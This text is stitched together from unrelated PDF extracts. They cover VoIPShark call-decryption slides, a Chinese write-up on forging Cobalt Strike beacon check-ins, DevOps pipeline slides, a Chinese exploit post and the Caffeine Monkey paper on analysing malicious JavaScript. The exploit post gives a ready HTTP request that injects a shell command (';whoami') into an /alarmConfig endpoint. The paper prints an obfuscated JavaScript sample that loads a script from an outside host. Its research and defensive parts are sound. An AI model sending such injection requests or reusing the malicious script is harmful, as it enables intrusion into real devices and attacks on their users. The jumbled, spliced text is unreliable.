©PentesterAcademy.com PentesterAcademy.com Libsrtp: Decode as RTP PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Decrypted RTP traffic PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Analysing RTP Streams PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Analysing RTP Streams PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Playing decrypted call PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Other Important Parts? • DTMF • Messages (SMS) • Exporting Call PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com RTP DTMF PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SIP Message PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com PCAP2WAV: Online service PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com PCAP2WAV: Uploading PCAP and Downloading Wav PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com PCAP2WAV: Wav in audacity PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com PCAP2WAV: Offline script • Bash script to extract the audio from VoIP calls • Outputs .wav file • Uses tshark and sox • GitHub: https://gist.github.com/avimar/d2e9d05e082ce273962d742eb9acac16 PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com PCAP2WAV: Help PentesterAcademy.com ©PentesterAcademy.com PCAP2WAV: Installing tshark and sox PentesterAcademy.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com PCAP2WAV: Running the tool PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com PCAP2WAV: Directory contents • Directory content before running the script • Directory content after running the script PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com PCAP2WAV: Wav in audacity PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com VoIPShark • Collection of Wireshark plugins to – Decrypt VoIP calls – Export call audio – Overview of traffic (Extensions, SMS, DTMF) – Common VoIP attacks • GPL just like Wireshark • Github: github.com/pentesteracademy/voipshark PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com VoIPShark: Need? • Cumbersome and complex process • Multiple tools – Need compilation, hence time consuming to set-up – Not easy to use – User dependent, prone to mistakes • Inability to retain timestamp, IP addresses etc. during decryption • Live traffic not supported PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Why Wireshark Plugins? • Plug and play • Plugins can be – Lua scripts – Compiled C/C++ code • Harnessing power of Wireshark • OS independent • Large user base PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Wireshark Plugins Types PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Dissector • To interpret the payload data • Decodes its part of the protocol and passes the payload to next Example Dissection Flow PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Chained Dissector • Takes data from previous dissector, processes its part and pass the payload to next dissector Example Dissection Flow PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com VoIPShark: Hook in Dissector Chain PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com VoIPShark: Overall Architecture PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com VoIPShark: Decryption Routines PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Plugins locations • Check Help > About Wireshark > Folders Windows Ubuntu PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Decrypting SRTP: SRTP Packets PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Decrypting SRTP: Enabling Auto Decryption PentesterAcademy.com ©PentesterAcademy.com Decrypting SRTP: Decrypted SRTP (RTP) PentesterAcademy.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com VoIPShark: Exporting Call Audio PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Exporting Call Audio: Specifying Location and File name PentesterAcademy.com ©PentesterAcademy.com Exporting Call Audio: Exported Streams PentesterAcademy.com PentesterAcademy.com ©PentesterAcademy.com VoIPShark: SIP Information Gathering PentesterAcademy.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SIP Information Gathering : DTMF PentesterAcademy.com ©PentesterAcademy.com SIP Information Gathering: Extensions PentesterAcademy.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SIP Information Gathering: RTP Packet Transfers PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SIP Information Gathering : SIP Auth Export PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SIP Information Gathering : Servers and Proxy PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SIP Information Gathering: Unique Messages PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com VoIPShark: VoIP Attack Detection PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com VoIP Attack Detection: Bruteforce PentesterAcademy.com ©PentesterAcademy.com VoIP Attack Detection: Invite Flooding PentesterAcademy.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com VoIP Attack Detection: Message Flooding PentesterAcademy.com ©PentesterAcademy.com VoIP Attack Detection: MiTM AttemptsPentesterAcademy.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com VoIP Attack Detection: Unauthenticated Users PentesterAcademy.com ©PentesterAcademy.com Demo PentesterAcademy.com ©PentesterAcademy.com Q & A Github: github.com/pentesteracademy/voipshark [email protected]
pdf
信息流上线了一个CS上线器 https://i.hacking8.com/cobaltspam 我是照着 https://github.com/hariomenkel/CobaltSpam 来改的,而CobaltSpam是https://github.co m/Sentinel-One/CobaltStrikeParser fork修改的,后者是用于解析beacon配置的仓库,从中可以学到 一些原理 - = 介绍 CS为了兼容MSF,默认配置将stage下载的uri硬编码了 , 所以访问 就能得到beacon,从中能够解析到C2的各种配置信息。 接着就是定位到数据,具体怎么找的可以看 https://blog.xpnsec.com/tailoring-cobalt-strike-on-targe t/ 寻找的代码 URL_PATHS = {'x86':'ab2g', 'x64':'ab2h'} full_url = urljoin(url, URL_PATHS[arch]) 执行完就能得到beacon的配置信息了 上线 参考文章: https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/cs-mu-biao-shang-xia n-guo-cheng CS的上线,只需要beacon信息中的公钥(从代码中发现的),以及用户自定义的请求包。这些都可以从上 述的beacon解析中获得。 cs teamserver会通过rsa解密出上线信息,所以我们编写上线函数的时候只需要把上线信息通过rsa加 密,公钥是beacon解析出来的。 上线信息结构 可以直接看源码 https://github.com/mai1zhi2/CobaltstrikeSource decomplie_src\cobaltstrike4.1\common\BeaconEntry.java 根据源码,我整理了一份字段表格 名称 描述 占用字 节 aes key aes key 16 ANSI code page 编码 2 OEM code page 编码 2 bid beacon id,这个id用来标记心跳状态,用这个id连续发包就可以标 记心跳 4 pid beacon进程的pid 4 var7 这短短2字节,可以包含 barch、is64、isUac 2 ver 两个字节两个字节读取,最后形式是 x.x 4 build build信息 2 junk 不知道有什么用的字节,CobaltSpam直接随机的 12 intz 内网地址 4 填充到第51位,填充的都用\x00 之后是三个字符串,用\t分割 '\t'.join([机器名称, 用户名称, 注入到的进程名称]) 这些数据都可以自定义,比较关注的几个在CS页面上显示的数据 在CobalSpam中上线信息在 comm.py 文件上。 上线结构解析 一般的信息直接按上面的结构填充就行,下面是一些额外需要关注的字段。 external ip是请求过去的ip,cobalspam作者使用tor来伪造各种ip,我看源码发现如果配置了 trust_x_forwarded_for选项,会使用X-Forwarded-For信息作为ip数据。默认是不配置的,但这个 功能是有用的,有的cs server用nginx反代,用cdn等等,都需要加这个字段,否则就看不到目标 的ip。 如果设置uac选项,user后面就会自动加上 * 号,同时图标也会有一个闪闪发光的东西。var7字段 两个字节,却能设置三个参数 barch、is64、isUac,2byte = 8bit,所以实际可以设置8个布尔选 项(目前只用了三个),相关的代码片段如下 图标是怎么来的?cs第一个对应的小框框,这个地方我找了好久,终于找到对应设置的字段了。 先看怎么识别操作系统 self.is64 = True self.barch = "x32" self.bypassuac = True if self.is64: self.is64 = 4 else: self.is64 = 0 if self.barch == "x64": self.is64 += 2 if self.bypassuac: self.is64 += 8 根据beacon id来的,如果id是单数,就说明这是一个ssh,而 BeaconEntry 类刚好有个判断,如 果是ssh的话,会用 注入到的进程名称 来代表操作系统。 知道了设置的地方,但还是不知道设置为何值才会显示图标,于是去resources看了下,搜了下图 片的文件名 windows7.png ,找到了。 在 decomplie_src\cobaltstrike4.1\dialog\DialogUtils.java 的 TargetVisualizationArray 函数上 public String getOperatingSystem() {      if (this.isBeacon()) {         return "Windows";     } else if ("".equals(this.ver)) {         return "Unknown";     } else if ("Darwin".equals(this.ver)) {         return "MacOS X";     } else {         return this.ver.startsWith("CYGWIN_NT-") ? "Windows" : this.ver;     }   } public boolean isBeacon() {      return !this.isSSH();   } public boolean isSSH() {      return "session".equals(CommonUtils.session(this.id));   } public static String session(int var0) {      if ((var0 & 1) == 1) {         return "session";     } else {         return var0 > 0 ? "beacon" : "unknown";     }   } 可以看到,对于windows版本来说(判断条件是beacon为双数),通过匹配版本来设置各种图标 对于其他的设备可选的值有这些 填上就可以使用各种小图标了。 if (var0.equals("windows")) {         if (var1 <= 5.0D) {            var4[0] = "resources/windows2000.png";         } else if (var1 > 5.0D && var1 < 6.0D) {            var4[0] = "resources/windowsxp.png";         } else if (var1 != 6.0D && var1 != 6.1D) {            if (var1 >= 6.2D) {               var4[0] = "resources/windows8.png";           }         } else {            var4[0] = "resources/windows7.png";         } ["firewall", "android", "vmware", "solaris", "linux", "cisco ios", "macos x", "apple ios"] 其他 尝试把一些字段恶意加大,想看看能不能卡死cs,结果发现,rsa加密有明文字符串的限制,在数 据加密那层就没过去。
pdf
端到端流水线驱动DevOps落地 DevOps时代社区 景韵 无关趋势,关乎生死 DevOps 2017 年度报告 Continuous Delivery Continuous Integration DevOps Continuous Deployment Lean (End to End Flow) Principles Practices Running Lean Product/Market Fit (Finding&Validating Ideas) Scrum/Kanban (Process) XP (Engineering) Operations Business Software Service Agile(Development/Test) DevOps在整个软件生命周期的位置 s peOA s s p v R S sC -sD s =s 企业级DevOps理论与实践体系(标准) 流水线驱动DevOps 主要结论 • 业务对交付频率有较高要求,65%的受访者实现了每周一次以上的部署频率 • 部署频率与部署成功率正相关,通过技术手段可以保证价值快速和高质量流动 • 64%的受访者已经引入持续交付流水线, 其中的86%在使用Jenkins • 各阶段工具与流水线集成比率低于25%,流水线自动触发比率仅有31% 1. 流水线集成很困难 • 需要端到端整合持续交付流水线 • 多种工具间有效集成和互联互通 2. 自动化触发比率低 3. 优秀实践应用不全 问题及改进建议 (一) 问题及改进建议 (二) 问题及改进建议 (三) • 代码提交自动触发,自动化执行 • 流水线逐层晋级,实现内建质量 • 代码扫描,非功能测试,灰度发布 • 分布式配置中心,数据库变更管理 DevOps流水线调研结论 张乐、石雪峰、景韵 流水线核心成员:张乐、赵舜东、景韵、石雪峰、雷涛、李华强、孙博 微服务项目 Build Test Deploy • Everything is Container 所有的构建、测试、部署、运行环 境都实现容器化动态生成 • Docker in Docker 在通用容器环境中,按需拉取任务 所需镜像,实现环境标准化 全面拥抱容器化 • Slave动态挂载 Jenkins节点通过JNLP协议动态生 成挂载 • 资源动态调度 容器资源由Kubernetes平台进行 统一调度,动态扩容收缩 弹性动态集群 • 打通需求开发部署流程 Jira,Gitlab,Jenkins完美集成, 流水线状态自动化同步 • 插接研发团队内部工具 将自动化测试,部署上线集成到流 水线中,端到端打通全流程 From KK:Why, What, and How of Continuous Delivery 流水线工具集成 流水线的16个特性 流水线建设路线图 Value Stream Mapping THANKS
pdf
赛博回忆录星球出品,仅供小范围技术交流,请勿随意转发进行攻击 赛博回忆录星球出品,仅供小范围技术交流,请勿随意转发进行攻击 欢迎关注公众号:赛博回忆录 赛博 exp 如下: POST /alarmConfig HTTP/1.1 Host: xxx.xxx.xxx.xxx:8443 Connection: close Content-Length: 55 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (cybermemory NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52 cybermemory Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: https://xxx.xxx.xxx:8443 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xxx.xxx.xxx.xxx:8443/module/login/login.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: lang=cn x-forwarded-for: xxxx x-originating-ip: xxxxx x-remote-ip: xxxxx x-remote-addr: xxxxx op=testPhone&alarmTestPhone=1;whoami&alarmTestMessage=2 赛博回忆录星球出品,仅供小范围技术交流,请勿随意转发进行攻击 赛博回忆录星球出品,仅供小范围技术交流,请勿随意转发进行攻击 赛博代码分析如下: 赛博回忆录星球出品,仅供小范围技术交流,请勿随意转发进行攻击 赛博回忆录星球出品,仅供小范围技术交流,请勿随意转发进行攻击 未做过滤,通过;可拼接命令
pdf
Caffeine Monkey:  Automated Collection, Detection and  nalysis of Malicious JavaScript  A Ben Feinstein, CISSP  Daniel Peck  {bfeinstein, dpeck}@secureworks.com SecureWorks, Inc.  Introduction  In recent years, the web browser has likely become the single most ubiquitous computing  application. Web browsers can be found everywhere, from being embedded in video game  consoles and handheld devices to being installed on large servers supporting the  enterprise. As with any widely deployed type of software, web browsers have become an  increasingly popular target for attack. This trend will only continue. Today’s browsers  represent a complex application stack foisted atop the Operating System’s (OS) stack.  Putting aside the complexity of achieving robust, cross‐browser compatibility, web  developers are essentially coding to the browser’s stack, with the goal of portability across  both browsers and OS platforms. The growth in popularity of “Web 2.0” sites that leverage  the most advanced capabilities of the browser stack has contributed to blurring the  distinction between data and executable code. This is especially apparent when  considering support for dynamically interpreted scripting, in particular JavaScript. Due to  the nature of dynamic script interpretation in the browser, it is difficult for many widely  adopted security technologies to mitigate the client‐side browser attack vector.  In our research, we examined the current state of JavaScript obfuscation and evasion  techniques, approaches for collecting JavaScript samples from the wild, and methods for  analyzing the collected scripts. We developed a suite of tools for collecting and indexing  JavaScript, interpreting the scripting in a sandboxed environment, and performing  functional analysis for manual, as well as automated detection mechanisms.  At the outset, we believed that investigating new approaches was warranted. Current  methods tend to fall into two large categories: fully automated client honeypot systems or  manual human analysis. Client honeypot technology offers a powerful way to actively  identify sites attempting to exploit the browser, and has reportedly been used to find a  number of zero‐day attacks. However there are significant drawbacks to typical, high‐ interaction client honeypots, as they tend to result in a lot of overhead. In general, a client  honeypot requires heavy‐weight processing in order to detect exploits and recreate the  virtual machine after each completed test. These systems usually produce very good  results, but may not be feasible for the independent researcher or small organization to  Feinstein & Peck  applicable to other scripting languages.  Whitespace randomization is likely the simplest obfuscation technique to implement.  Taking advantage of the fact that JavaScript ignores whitespace, an attacker can  strategically scatter whitespace characters throughout their code. Without changing the  semantics of the JavaScript, this technique will yield large changes in the script’s on‐the‐ wire binary representation. It is trivial at runtime to determine the behavior of a script.  However, many security technologies rely on content matching for detection and would be  blinded by this obfuscation technique. Whitespace randomization is demonstrated by the  following scripting:  2  Black Hat USA 2007 deploy and maintain. Additional processing is still required to move beyond elementary  behavioral analysis. For example, if a malicious JavaScript sample only affects a particular  version of Internet Explorer which is not being tested against, a previously unknown  exploit could go undetected.  On the other side of the spectrum is the manual analysis performed by human researchers.  These tedious techniques include walking through each layer of obfuscation, wrapping the  sample script in a <textarea> HTML tag, or replacing document.write() with  alert(). Some of the more recently crafted malicious scripts are explicitly designed to  bypass these manual analysis techniques. Using these techniques can be both labor  intensive and dangerous. With the increasing number of browser attacks, analysts run the  risk of being exploited themselves. While these methods still have a useful place in the  analyst’s toolbox, we felt that a hybrid approach might prove to be more valuable.   Thus was born the Caffeine Monkey system. The core JavaScript engine, a safe JavaScript  deobfuscator, logger and profiler, is based on extensions to the open source SpiderMonkey  JavaScript implementation. The Monkey was hungry and needed to be fed, so we deployed  an open source web crawling solution. A MySQL database served to organize the crawls,  the retrieved documents, and our analysis results. The other assorted processing tasks  were handled by a collection of custom Python, Perl, and shell scripting.  The source code and documentation for the Caffeine Monkey system will be made available  during Black Hat USA 2007 at http://www.secureworks.com/research/tools/. All code will  be released under an as‐yet‐to‐be‐determined OSI approved open source license.  This paper will explore the predominant obfuscation techniques and how Caffeine Monkey  can find them, dissect them, and reveal their true functionality. We will also share our  houghts for future research in this area.  t JavaScript Obfuscation & Evasion Techniques  To begin, we will examine some of the basic forms of obfuscation, going from the least  effective, and most easily detected, to the most effective. While we are looking at these  techniques in the context of the JavaScript language, in many case these same concepts are  As you can see, the on‐the‐wire binary representation is significantly different but the  ASCII: var i = “foooo”; Hex: 7661 7220 6920 3d20 2266 6f6f 6f6f 223b 0a ASCII: var i = “foooo”; Hex: 7661 7209 2069 2009 2020 3d20 2020 2020 2022 666f 6f6f 6f22 3b Figure 1  semantics of the scripts are identical.  Another basic evasion technique involves the addition of random comments and the  manipulation of existing comments in scripting. Just like whitespace, comments are ignored  by JavaScript. This is very similar to whitespace randomization, in that the actual code  remains unchanged while the on‐the‐wire binary representation is dramatically altered.  Manipulation of comments can also be effective in confusing an analyst. Just as in the case  of whitespace randomization, runtime analysis of the script’s behavior is straightforward.  However, content matching would have difficulty determining the runtime behavior.  Other, more sophisticated obfuscation techniques exist offering even better abilities of  evasion. String obfuscation usually involves a custom decoder, anywhere from a simple  XOR function to a more complex Caesar cipher or even more elaborate methods.  Although  this technique is normally not needed to bypass detection mechanisms, it can make  analysis much more difficult for the researcher and help maintain the script’s effectiveness  over a longer period of time. This technique can also be as simple as splitting the string into  multiple variables and concatenating them later in the script, perhaps using the  document.write() method in combination with String.fromCharCode(). These  strings can also be encoded using various hexadecimal and Unicode representations. The  following example shows several ways in which the string “we’ve got a problem” can be  represented.  F 3  B As you can see, there are many ways to represent this textual phrase, making purely  signature based detection impractical due to the large number of different variations.  With  “we%27ve%20got%20a%20problem” “%77%65%27%76%65%20%67%6F%74%20%61%20%70%72%6F%62%6C%65%6D” “\x77\x65\x27\x76\x65\x20\x67\x6F” + “\x74\x20\x61\x20\x70\x72\x6F\x62\x6C\x65\x6D” “%u0077\u0065\x27%76%65%20\x67%6F%74\u0020%61%20%70%72%u006F%62\x6C%65\x 6D” Figure 2  einstein & Peck lack Hat USA 2007 just the example string and the few encoding forms we’ve mentioned there are more than  519 possible combinations!  Another obfuscation technique is variable name randomization and function pointer  reassignment. A variable or function can be reassigned to another variable or function,  potentially misleading analysts trying to decipher the code. This technique has also proved  effective at bypassing a variety of security technologies. Short of keeping track of all the  variable and function assignments at runtime, a security device would have no assurance  that a function named unescape() is actually the function defined in by JavaScript  specification as unescape(). With most security devices suffering from upper‐bound  requirements on space and time complexity this task becomes increasingly infeasible. For  example:  As shown above, detection is becoming more and more difficult. Integer obfuscation is yet  another technique used for evasion. Suppose a certain memory address was needed by a  script, but the presence of this memory location in the code could be flagged as suspicious  by a variety of detection mechanisms. Using integer obfuscation we can generate the same  number with simple mathematical functions. For instance, “0x04000000” could be  randomFunctionName = unescape; function2 = eval; var A1 = randomFunctionName(“%61%6c%65%72%74%28%22%77%65%27%72%65%20%67%6f%74%2 0%61%20%70%72%6f%62%6c%65%6d%20%58%65%72%65%22%29”); function2(A1); Figure 3  Feinstein & Peck  4  Black Hat USA 2007 expressed as 16,777,216 * 42, or any number of other ways.  One of the most sophisticated obfuscation techniques is block randomization. This involves  structurally changing a script’s statements and code paths to be functionally identical but  syntactically different. Typically a script’s if/else block and while/for loops are  restructured, however other constructs can also be altered. while, for, and do-while  loops can be transformed in a number of ways:  for (i = 0; i < 100; i++) { /* for loop */ } while (i < 100) { i++; /* while loop */ } do { i++; /* do..while loop */ } while (i < 100) Figure 4 Feinstein & Pec SecureWorks Research.  Using a single seed of www.myspace.com we collected approximately 225,000 web  documents over a continuous period of about three and a half days, with a total yield of 7.9  GB. Of these, 364 documents (4.5 MB) were of Content‐Type application/x- javascript or text/javascript, comprising about 0.2% of the total. This comprised  our sample.  k  5  Black Hat USA 2007 Used alone, each of these techniques can be effective at obfuscating the true functionality of   script. Combined together, they clearly make the job of effective detection very difficult.  a Along Came a Spider…  Of course, without evidence of these techniques being actively used in the wild our  research would be purely theoretical. With this in mind we set out to crawl selected  portions of the web, focusing on sites with a large amount of user created content.  Intuitively, we thought that a crawl originating from www.myspace.com would yield an  interesting sample of JavaScript.  Not wanting to reinvent the wheel, the open source Heritrix software package was  employed. Heritrix is an Internet‐scale web crawler developed by the Internet Archive for  their own use. Setup was straight forward for those with experience using Java, and before  we knew it we were collecting JavaScript from the wild.  Heritrix is designed around the concepts of Profiles and Jobs. A Profile is used to define all  aspects of web crawler configuration. A Job is based on a Profile and can override  configuration options inherited from the Profile. A Job specifies the seed URIs which are the  initial starting points of the web crawl. Jobs are queued for processing and will be picked  up by an idle crawler thread. The overall state of a web crawl is maintained internally as a  Frontier. Jobs can be paused and resumed by recovering the Job state from a previously  saved Frontier.  Heritrix supports custom workflows through the use of the Crawl Operator, Crawl  Organization, and Crawl Job Recipient properties. Fine‐grained control is given over search  strategies (e.g. “Deep”, “Broad”) and the rules used to select or reject URIs to pursue.  Several policies for respecting site robots.txt files are configurable. Extensive  configuration options to limit resource consumption are available.  Before being able to run a Job using the default Profile we were forced to modify the values  of the User-Agent and From HTTP headers to meet Heritrix’s restrictive criteria. The  User-Agent is required to follow a form like “Mozilla/5.0 (compatible; heritrix/1.12.1  +PROJECT_URL_HERE)” and the From header must contain a valid email address. We  created a new profile named “Caffeine Monkey” that was based on the default Profile but  defined our particular values for the User-Agent and From headers. Being the good  Internet citizens that we are, we configured our crawler to identify itself as belonging to  Feinstein & Peck  6  Black Hat USA 2007 Analysis and Reporting  With all the archive files from our MySpace crawl indexed in our database, it was relatively  straight forward to retrieve all the JavaScript documents for analysis. Several Python  classes were created to automate the process of analyzing the collected scripts. Each  JavaScript sample was run through the Caffeine Monkey engine and its runtime log was  analyzed. Statistics on runtime execution were generated from the log and stored in the  Pre­processing and Indexing  Heritrix saves the content it collects in an archival file format referred to by its three  character file extension, ARC. By default each archive file grows to about 100MB and can  contain thousands of spidered documents. We needed a way to efficiently pull the  JavaScript documents out of the archive files in order to subsequently analyze them using  the Caffeine Monkey engine.  Fortunately an individual at the University of Michigan had already written a rough  collection of Perl scripts for working with Heritrix archive files. One of these scripts was  designed to index a collection of archive files into a MySQL database containing a single  table. We extended the rudimentary database schema to encompass two new tables: the  first representing the Heritrix Jobs that collect the archives, and the second for storing the  results from analyzing the JavaScript samples. The existing Perl scripting was modified,  adding support for the concept of Heritrix Jobs and the new job database table, as well  fixing several bugs.  The relevant details of each URI that was retrieved were stored in the database. These  included:  • URI  • as retrieved as a part of  Heritrix Job the URI w • MIME Content‐Type  • e server providing the URI  3‐digit HTTP response code received from th • ARC file containing the retrieved document  • Index into the ARC file of the start of the retrieved document  • gth, used along with the file index to extract the retrieved document  Content‐Len • Timestamp  database. The Caffeine Monkey engine hooks a number of interesting functions. For each  script run through the engine, function call statistics were captured.  At the time of this writing, we had not identified any malicious JavaScripts among the 364  samples collected through our MySpace web crawl. In order to get samples of known  malicious scripts we sent requests to several other security researchers. In all, we received  four good samples which we labeled Monkey Chow #1 through #4.  Function Call Analysis of "Bad" Scripts 0 5 10 15 20 25 30 35 40 45 object_instance element_instance escape eval string_instance/50 document_write Chow #1 Chow #2 Chow #3 Chow #4 Note that the numbers for string instantiations are scaled by a factor of 1/50 in order to  yield better chart scaling. There are orders of magnitude more string instantiations than  the other categories because string concatenation is a popular operator, and because string  concatenation creates three new string instances for each use of the “+” operator.  What is important to look at is not the absolute number of times each function is called, but  rather the ratios of the function call counts to one another. For three out of the four  samples above, the ratios between the count of object instantiations, element  instantiations, calls to eval(), and string instantiations are strikingly similar. Future  research might involve analyzing larger samples of malicious JavaScript to see if these  Feinstein & Peck  7  Black Hat USA 2007 trends hold.  Based on the results of our MySpace web crawl, we grouped the collected JavaScript URIs  by their domain name fragment. We then sorted the domain names by the number of  JavaScript documents retrieved from each. Myspace.com was the top domain by the  number of JavaScript documents collected, yielding a sample size of twenty‐seven.  Grouping the domains by the top six counts of JavaScript documents yielded nine domains  because of ties. hillaryclinton.com rounded out the top nine, with five JavaScripts collected  from the domain. For each of the top domains we generated aggregate statistics and  harted the results is the same fashion as our Monkey Chow samples.  c Function Call Analysis of Top JS Sites 0 50 100 150 200 250 300 350 400 myspace.com fastclick.net evite.com object_instance element_instance escape eval string_instance/50 document_write m frig st hill uchmusic.com photofile.ru youtube.com htcatalog.com ore.yahoo.net aryclinton.com Again, the absolute magnitudes of the function call counts are not as important as the ratios  between them. There does appear to be similar ratios of function calls across the nine  domains sampled. At this point we charted our monkey chow samples against our analysis  f the top JavaScript domains from our MySpace crawl.  o Feinstein & Peck  8  Black Hat USA 2007 Function Call Analysis (Combined) 0 50 100 150 200 250 300 350 400 Chow #1 (8x) Chow #2 (8x) Chow #3 (8x) Chow #4 (8x) myspace.com fastclick.net evite.com object_instance element_instance escape eval string_instance/50 document_write Feinstein & Peck  9  Black Hat USA 2007 m frig st hill uchmusic.com photofile.ru youtube.com htcatalog.com ore.yahoo.net aryclinton.com There are clear differences between the malicious JavaScript samples and the benign  JavaScripts collected during the MySpace crawl. The monkey chow statistics were scaled by  a factor of 8. We anticipated a difference in the scales of the function call counts between  the malicious samples and the benign samples. The four malicious samples were short  script fragments; however, the benign samples tended to be large feature‐rich scripts.  Larger scripts will tend to have higher function call counts simply because they have more  lines of code.  It appears that benign scripts make significantly more use of the document.write()  method while malicious scripts make relatively more use of string instantiation. Our small  sample of malicious scripting also instantiates relatively more objects than our samples of  benign JavaScript. Malicious scripts tended to programmatically create DOM elements  more frequently than the benign scripts. Use of the eval() function is also relatively more  ommon in the benign scripts than in our sample of malicious scripts.  c Caffeine Monkey at Work  In order to illustrate the utility of the Caffeine Monkey engine, we will now analyze a  sample of obfuscated JavaScript found in the wild. This sample of JavaScript isn’t truly  destructive, but offers a useful overview of the time consuming, error prone, and  potentially dangerous process of manual human analysis.   F a einstein & Peck  10  Black Hat USA 2007 Such a script can appear more than a little intimidating at first glance. Considerable manual  analysis of this sample would be required to determine the scripts functionality. Function  I() is defined as taking two arguments, mk and G. I() performs lots of bit‐shifting and  substitution before assigning the result of a call to String.fromCharCode() to the  function I(mK,G){if(!G){G='Ba,%7(r_)`m?dPSn=3J/@TUc0f:6uMhk;wyHZEs- ^O1N{W#XtKq4F&xV+jbRAi9g';}var R;var TB='';for(var e=0;e<mK.length;e+=arguments.callee.toString().replace(/\s/g,'').length- 535){R=(G.indexOf(mK.charAt(e))&255)<<18|(G.indexOf(mK.charAt(e+1))&255) <<12|(G.indexOf(mK.charAt(e+2))&255)<<(arguments.callee.toString().repla ce(/\s/g,'').length- 533)|G.indexOf(mK.charAt(e+3))&255;TB+=String.fromCharCode((R&16711680)> >16,(R&65280)>>8,R&255);}eval(TB.substring(0,TB.length- (arguments.callee.toString().replace(/\s/g,'').length- 537)));}I('friHMU&E6- =#MV`OMr@^`4K/=&``@(=;/7(S3&Ta3F@i)ZOwMs(40V`Ou_=y)(PJ=4Fy:_3Fu%^X?VMVMq jOM_Ob6V=#0xdXuV3j6r@XnV`EfHF-mx3X0VTWfUjF?-`EfsTqusTqmquynHtX`q{- uxPq:caFnyuOSqB;),B;),B;),Bm),B;'); Figure 4 variable TB. The whole mess is then passed to the eval() function.  The details of how this was accomplished are left as an exercise for the reader, but it all  boils down to a single function call.  eval(“document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"></'+'script> ');”); Requesting this URI returns an even uglier piece of obfuscated JavaScript.  The gory details of decoding this sample are outside the scope of this document, but clearly  it would present a challenge to either a novice analyst or a time conscious veteran.  Automating the deobfuscation process allows human analysts to examine the evasion  techniques being used by attackers, but also yields some additional wisdom that could be  leveraged in a heuristics based detection system. Low‐interaction client honeypots could  use the Caffeine Monkey engine to rapidly analyze large collections of JavaScript. Using the  GNU tool chain’s philosophy, the engine can easily be tied together with other utilities to  utomate the analyst’s workflow.  Figure 5 Feinstein & Peck  11  Black Hat USA 2007 Caffeine Monkey JavaScript Engine  We began developing the Caffeine Monkey engine using the code base of the Mozilla  SpiderMonkey (JavaScript‐C) Engine, an embeddable open source JavaScript engine  implemented in the C language. The initial code base offered a rudimentary interpreter and  had an architecture allowing for easy extensibility. We internally hooked the functions we  thought most likely to be used in obfuscation and added runtime logging output. Runtime  logging allowed us to observe the flow of execution without getting into interactive script  debugging. One of the first methods we wrapped and logged was eval(). By hooking into  the execution path at the interpreter level, obfuscation is completely avoided as we log the  actual string passed to eval() and where in the script’s execution the call is made.  We hooked the string concatenation method, allowing not only a final view of the string,  but also creating a record of the order and timing of when string concatenations occurred  during execution. This feature is potentially useful for script fingerprinting, as particular  obfuscation tools tend to use a similar method to obfuscate the strings each time that are  run.  After instrumenting only these two basic functions we were able to produce a very  informative log. The log served to reduce the obfuscation example above down to a handful  of log lines that are easily readable by both human and machine. For the sake of disclosure,  the example above sets a known spyware cookie in the browser and redirect the browser  to a niche online dating site.  A full implementation of Document Object Model (DOM) logging is in development at the  time of this writing, as the original SpiderMonkey code base only provided the basic  JavaScript methods and objects.  A more in depth discussion of the Caffeine Monkey engine’s functionality is outside the  scope of this paper. Documentation will be made available along with the source code to  our tools. The example above makes it clear that an automated analysis tool working at the  interpreter level offers the potential to increase efficiency when analyzing scripts using  ommon obfuscation and evasion techniques.  c Directions for Future Research  There are many areas for improvements and extensions to these tools. The core engine  could be leveraged in an application proxy setting, removing or flagging potentially  dangerous JavaScript. With further optimization, Caffeine Monkey and its analytical results  could be used within Network Intrusion Detection or Prevention Systems. The tool can also  be simply used as a command‐line utility by attackers testing their obfuscation schemes or  by security analysts working to reverse 